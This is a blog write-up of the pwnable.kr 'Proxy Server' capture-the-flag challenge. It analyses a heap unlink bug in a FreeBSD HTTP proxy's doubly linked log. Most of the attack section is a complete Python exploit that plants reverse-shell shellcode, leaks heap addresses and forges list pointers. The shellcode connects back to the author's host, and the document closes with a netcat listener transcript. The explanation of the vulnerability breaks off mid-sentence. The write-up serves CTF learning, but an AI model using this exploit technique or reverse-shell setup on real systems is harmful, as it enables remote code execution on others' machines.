Rot256 : Cryptography & Other Random Bits.

Proxy Server @ Pwnable

The challenge

The challenge text on pwntable:

I made a multi-thread based HTTP proxy server written in C. It works fine for simple case, but it crashes occasionally. Can you find me the bug? (it has watchdog, proxy server will be respawned after crashing)

* uname -a of server : FreeBSD bsd32 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243826: Tue Dec 4 06:55:39 UTC 2012 root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386

Download : http://pwnable.kr/bin/myproxy

Running at : nc pwnable.kr 9903

After downloading the binary, loading up in IDA and taking a look around, we find this function af interest:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void SaveLog(int fd, char *s, int a3) {
  size_t v3;               // eax@6
  size_t v4;               // eax@7
  socklen_t len;           // [sp+1Ch] [bp-1Ch]@3
  struct sockaddr addr;    // [sp+20h] [bp-18h]@3
  struct_log_link *entry;  // [sp+30h] [bp-8h]@7
  struct_log_link *ptr;    // [sp+34h] [bp-4h]@2

  if ( nlog == 32 ) {
    ptr = log_head->prev;
    ptr->prev->next = ptr->next;
    ptr->next->prev = ptr->prev;
    free(ptr);
    --nlog;
  }

  len = 16;
  if ( getpeername(fd, &addr, &len) == -1 ) {
    perror("getpeername() failed");
  } else if ( log_head ) {
    entry = malloc(0x88u);
    memset(entry, 0, 0x88u);
    entry->addr = *&addr.sa_data[2];
    entry->port = a3;
    entry->next = log_head;
    entry->prev = log_head->prev;
    v4 = strlen(s);
    strncpy(entry->host, s, v4);
    log_head->prev->next = entry;
    log_head->prev = entry;
    log_head = entry;
    ++nlog;
  } else {
    log_head = malloc(0x88u);
    memset(log_head, 0, 0x88u);
    v3 = strlen(s);
    strncpy(log_head->host, s, v3);
    log_head->addr = *&addr.sa_data[2];
    log_head->port = a3;
    log_head->next = log_head;
    log_head->prev = log_head;
    ++nlog;
  }
}

So the server has a running log. Every log entry is stored in a double linked list, when the number of entries exceeds 32 the oldest is removed from the back of the list (by taking the prev of the log head). The log can be accessed remotely (by making a http request).

The vulnerability

After digging/dicking around for a while with the server itself and FreeBSD. You notice that:

Our stategy

1
2
3
4
5
6
7
+0   | IP
+4   | Port
+8   | 112 bytes of junk
+120 | Our next
+124 | Our prev
+128 | next
+132 | prev

Do it

After writing shellcode (reverse shell) – and taking care to avoid null bytes and slashes.

The final exploit looks like this:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import time
import socket
from pwn import *
from os import urandom

ip, port = ('pwnable.kr', 9903)

context.log_level = 'error'

wait = 0.1

shell_ip = socket.gethostbyname('rot256.io')
shell_port = 1337

"""
Log:
    IP   :   4 bytes (+ 0)
    Port :   4 bytes (+ 4)
    Host : 120 bytes (+ 8)
    Next :   4 bytes (+ 128)
    Prev :   4 bytes (+ 132)
"""

def send_entry(m):
    conn = remote(ip, port)
    conn.send('GET http://' + m + ' HTTP/1.1\r\n')
    conn.send('Host: ' + m + '\r\n')
    conn.send('\r\n')
    time.sleep(wait)
    conn.close()

def send(n):
    send_entry('padding%02d.org' % n)

def magic(n):
    return urandom(n / 2 + 1).encode('hex')[:n]

def getlog():
    conn = remote(ip, port)
    conn.send('admincmd_proxy_dump_log')
    conn.send('\r\n')
    out = ''
    while 1:
        try:
            out += conn.recv(1024)
        except EOFError:
            break
    return out

def leak():
    m = magic(120)
    send_entry(m)
    log = getlog()
    hew = log[log.find(m) + len(m):]
    assert hew.find(',') >= 4
    p_next = u32(hew[0:4])
    return p_next

# Load shellcod

with open('shell3.asm', 'rb') as f:
    code = f.read()
    code = code.format(
        ip = u32(socket.inet_aton(shell_ip)) ^ 0xBBBBBBBB,
        port = ((socket.htons(shell_port) << 16) + 0x02AA) ^ 0xBBBBBBBB)
shell = asm(code)
print 'Shellcode:\n' + shell.encode('hex')
assert '\x00' not in shell
assert '/' not in shell

# Fill log

print 'Filling log'
for n in range(32):
    print 'Sending: %2d' % n
    send(n)

# Send shellcode

print 'Uploading shellcode'
pad = 120 - len(shell)
entry = ''
entry += '\x90' * (pad / 2)
entry += shell
entry += '\x90' * (pad / 2)
assert len(entry) <= 120
send_entry(entry)

# Find shellcode address

print 'Finding shellcode address'
shell_addr = leak()
shell_addr += 8        # Skip IP and Port fields
print 'Shell at: 0x%x' % shell_addr

# Make fake tail

print 'Creating entry to be cleaned (fake tail)'
ebp = 0xbd8dcf48
ebp = 0xbd2d6f48
tar = (ebp + 4)
val = shell_addr

entry = ''
entry += cyclic(120 - 8)
entry += p32(tar - 0x84) # Fake next
entry += p32(val)        # Fake prev
assert len(entry) == 120
send_entry(entry)

# Find address of tail

print 'Finding tail address'
tail_addr = leak()
print 'Tail at: 0x%x' % tail_addr

# Make head, with overwritten prev

print 'Insert head, with borked prev'
entry = ''
entry += magic(120)
entry += p32(tail_addr - 8) # Next (whatever)
entry += p32(tail_addr - 8) # Prev
send_entry(entry)

# Trigger cleanup

print 'Trigger log cleanup'
send(1337)
print 'Done'

Running the script with an open nc listener at rot256.io yields:

1
2
3
4
5
6
7
8
rot256@gibson:~$ nc -l -p 1337
ls
flag
myproxy
myproxy.sh
run.sh
cat flag
NOPE YOU DONT GET TO SEE THE FLAG

The full code can be found on github